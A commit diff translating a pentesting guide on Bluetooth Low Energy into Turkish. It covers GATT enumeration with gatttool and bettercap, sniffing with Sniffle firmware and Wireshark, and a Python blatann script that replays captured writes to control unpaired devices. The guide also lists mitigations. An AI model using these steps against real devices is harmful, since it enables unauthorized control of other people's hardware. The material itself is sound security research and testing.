Translated ['', 'src/todo/radio-hacking/pentesting-ble-bluetooth-low-ene

This commit is contained in:
Translator 2025-08-28 14:39:42 +00:00
parent 74aec0a8f1
commit 42105466e3

View File

@ -4,21 +4,21 @@
## Giriş
Bluetooth 4.0 spesifikasyonundan beri mevcut olan BLE, yalnızca 40 kanal kullanır ve 2400 ile 2483.5 MHz aralığını kapsar. Buna karşılık, geleneksel Bluetooth bu aynı aralıkta 79 kanal kullanır.
Bluetooth 4.0 spesifikasyonundan itibaren kullanılabilen BLE, 2400 ile 2483.5 MHz arasını kapsayan sadece 40 kanal kullanır. Buna karşılık, klasik Bluetooth aynı aralıkta 79 kanal kullanır.
BLE cihazları, **reklam paketleri** (**beaconlar**) göndererek iletişim kurar; bu paketler, BLE cihazının varlığını diğer yakın cihazlara yayınlar. Bu beaconlar bazen **veri** de gönderir.
BLE cihazları, **advertising paketleri** (**beacon'lar**) göndererek haberleşir; bu paketler BLE cihazının varlığını yakındaki diğer cihazlara ilan eder. Bu beacon'lar bazen **veri gönderir** de.
Dinleme cihazı, merkezi cihaz olarak da adlandırılır, bir reklam paketine **SCAN isteği** ile yanıt verebilir; bu istek özel olarak reklam cihazına gönderilir. O tarama isteğine verilen **yanıt**, **reklam** paketinin yapısını kullanır ve başlangıç reklam isteğine sığmayan ek bilgileri içerir, örneğin tam cihaz adı.
Dinleyen cihaz, aynı zamanda merkezi cihaz (central device) olarak da adlandırılır, belirli bir advertising cihazına gönderilen bir **SCAN request** ile bir advertising paketine yanıt verebilir. Bu tarama için verilen **response**, ilk advertising isteğine sığmayan tam cihaz adı gibi ek bilgileri içerecek şekilde **advertising** paket ile aynı yapıyı kullanır.
![](<../../images/image (152).png>)
Preamble byte, frekansı senkronize ederken, dört baytlık erişim adresi bir **bağlantı tanımlayıcısıdır** ve birden fazla cihazın aynı kanallarda bağlantı kurmaya çalıştığı senaryolarda kullanılır. Sonraki, Protokol Veri Birimi (**PDU**), **reklam verilerini** içerir. Birkaç PDU türü vardır; en yaygın olarak kullanılanlar ADV_NONCONN_IND ve ADV_IND'dir. Cihazlar, **bağlantıları kabul etmiyorlarsa** **ADV_NONCONN_IND** PDU türünü kullanır ve yalnızca reklam paketinde veri iletir. Cihazlar, **bağlantılara izin veriyorlarsa** **ADV_IND** kullanır ve bir **bağlantı** **kurulduğunda** reklam paketleri göndermeyi durdurur.
Preamble baytı frekansı senkronize ederken, dört baytlık access address bir **connection identifier**dır; aynı kanallarda birden fazla cihazın bağlantı kurmaya çalıştığı senaryolarda kullanılır. Ardından Protocol Data Unit (**PDU**) **advertising data**'yı içerir. Birden fazla PDU türü vardır; en yaygın kullanılanlar ADV_NONCONN_IND ve ADV_IND'dir. Cihazlar **ADV_NONCONN_IND** PDU türünü, **bağlantı kabul etmezlerse** kullanır; bu durumda veri yalnızca advertising paketinde iletilir. Cihazlar **ADV_IND**'i **bağlantılara izin veriyorlarsa** ve bir **connection** kurulduktan sonra **advertising** paket göndermeyi **durduruyorlarsa** kullanır.
### GATT
**Generic Attribute Profile** (GATT), **cihazın verileri nasıl biçimlendireceğini ve ileteceğini** tanımlar. Bir BLE cihazının saldırı yüzeyini analiz ederken, genellikle dikkatinizi GATT (veya GATT'ler) üzerinde yoğunlaştırırsınız, çünkü bu, **cihaz işlevselliğinin nasıl tetiklendiği** ve verilerin nasıl depolandığı, gruplandığı ve değiştirildiğidir. GATT, bir cihazın özelliklerini, tanımlayıcılarını ve hizmetlerini 16 veya 32 bit değerler olarak bir tabloda listeler. Bir **özellik**, merkezi cihaz ile çevresel cihaz arasında **gönderilen** bir **veri** değeridir. Bu özellikler, onlarla ilgili **ek bilgiler sağlayan** **tanımlayıcılar** içerebilir. **Özellikler**, belirli bir eylemi gerçekleştirmekle ilgili olduklarında genellikle **hizmetlerde** **gruplandırılır**.
**Generic Attribute Profile** (GATT), **cihazın veriyi nasıl biçimlendirmesi ve transfer etmesi gerektiğini** tanımlar. Bir BLE cihazının attack surface'ini analiz ederken genellikle GATT'e (veya GATT'lara) odaklanırsınız; çünkü cihaz fonksiyonelliğinin nasıl **tetiklendiğini** ve verilerin nasıl saklandığını, gruplanıp değiştirildiğini gösterir. GATT, bir cihazın characteristics, descriptors ve services öğelerini 16- veya 32-bitlik değerler olarak bir tabloda listeler. Bir **characteristic**, merkezi cihaz ile peripheral arasında **gönderilen** bir **veri** değeridir. Bu characteristic'ler, onlar hakkında **ek bilgi sağlayan** **descriptors** içerebilir. **Characteristics**, belirli bir işlemi gerçekleştirmeye yönelik ilişkili olduklarında sıklıkla **services** içinde **gruplandırılır**.
## Sayım
## Keşif
```bash
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
```
### GATTool
**GATTool**, başka bir cihazla **bağlantı** **kurmayı** sağlar, o cihazın **özelliklerini** listeleyebilir ve niteliklerini okuyup yazabilir.\
GATTTool, `-I` seçeneği ile etkileşimli bir kabuk başlatabilir:
**GATTool** başka bir cihazla **bağlantı kurmayı**, o cihazın **özelliklerini** listelemeyi ve özniteliklerini okuma ve yazma işlemlerine olanak tanır.\
GATTTool `-I` seçeneği ile etkileşimli bir shell başlatabilir:
```bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
@ -64,4 +64,125 @@ sudo bettercap --eval "ble.recon on"
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
```
## Sniffing ve eşleşmemiş BLE cihazlarını aktif olarak kontrol etme
Birçok düşük maliyetli BLE çevrebirim pairing/bonding uygulamaz. Bonding olmadığında Link Layer encryption hiç etkinleştirilmez, bu yüzden ATT/GATT trafiği cleartext halinde olur. Bir off-path sniffer bağlantıyı takip edebilir, GATT operations'ı decode ederek characteristic handles ve values öğrenebilir; yakındaki herhangi bir host daha sonra bağlanıp bu writes'ları replay ederek cihazı kontrol edebilir.
### Sniffing with Sniffle (CC26x2/CC1352)
Hardware: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352), NCC Groupın Sniffle firmwarei ile yeniden flashlendi.
Install Sniffle and its Wireshark extcap on Linux:
```bash
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi
```
Flash Sonoff with Sniffle firmware (seri cihazınızın doğru olduğundan emin olun, örn. /dev/ttyUSB0):
```bash
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
```
Wireshark'ta Sniffle extcap üzerinden yakalayın ve filtreleyerek hızla state-changing writes'e pivot yapın:
```text
_ws.col.info contains "Sent Write Command"
```
Bu, client'tan gelen ATT Write Commands'i vurgular; handle ve value genellikle doğrudan cihaz eylemlerine eşlenir (ör. buzzer/alert characteristic'a 0x01 yazmak, durdurmak için 0x00).
Sniffle CLI hızlı örnekler:
```bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
```
Alternatif sniffer: Nordics nRF Sniffer for BLE + Wireshark plugin de çalışır. Küçük/ucuz Nordic dongle'larda genellikle USB bootloader'ı ezip sniffer firmware'i yüklersiniz, bu yüzden ya özel bir sniffer dongle tutarsınız ya da bootloader'ı sonradan geri yüklemek için bir J-Link/JTAG gerekir.
### GATT üzerinden aktif kontrol
Sniffed trafikten yazılabilir bir characteristic handle ve value tespit ettikten sonra, herhangi bir central olarak bağlanıp aynı write'ı gönderin:
- Nordic nRF Connect for Desktop (BLE app) ile:
- nRF52/nRF52840 dongle'ı seçin, tara ve hedefe bağlanın.
- GATT veritabanında gezin, hedef characteristic'ı bulun (çoğunlukla kullanıcı dostu bir isim olur, örn. Alert Level).
- Sniffed byte'larla bir Write gerçekleştirin (örn. tetiklemek için 01, durdurmak için 00).
- Windows'ta Python + blatann kullanarak Nordic dongle ile otomatikleştirin:
```python
import time
import blatann
# CONFIG
COM_PORT = "COM29" # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)
print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)
# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b: # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")
print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()
```
### Operasyonel notlar ve önlemler
- Kanal atlama ve bağlantı takibi için Linux üzerinde Sonoff+Sniffle'i tercih edin. Yedek olarak bir Nordic sniffer bulundurun.
- Eşleştirme/bağlama olmadan, çevredeki herhangi bir saldırgan yazmaları gözlemleyebilir ve kimlik doğrulaması olmayan yazılabilir characteristics'lara kendi yazmalarını yeniden oynatabilir/üretebilir.
- Önlemler: eşleştirme/bağlama ve şifrelemeyi zorunlu kılın; characteristic izinlerini kimlik doğrulamalı yazmaları gerektirecek şekilde ayarlayın; kimlik doğrulaması olmayan yazılabilir characteristics'ları en aza indirin; GATT ACL'lerini Sniffle/nRF Connect ile doğrulayın.
## References
- [Start hacking Bluetooth Low Energy today! (part 2) Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
{{#include ../../banners/hacktricks-training.md}}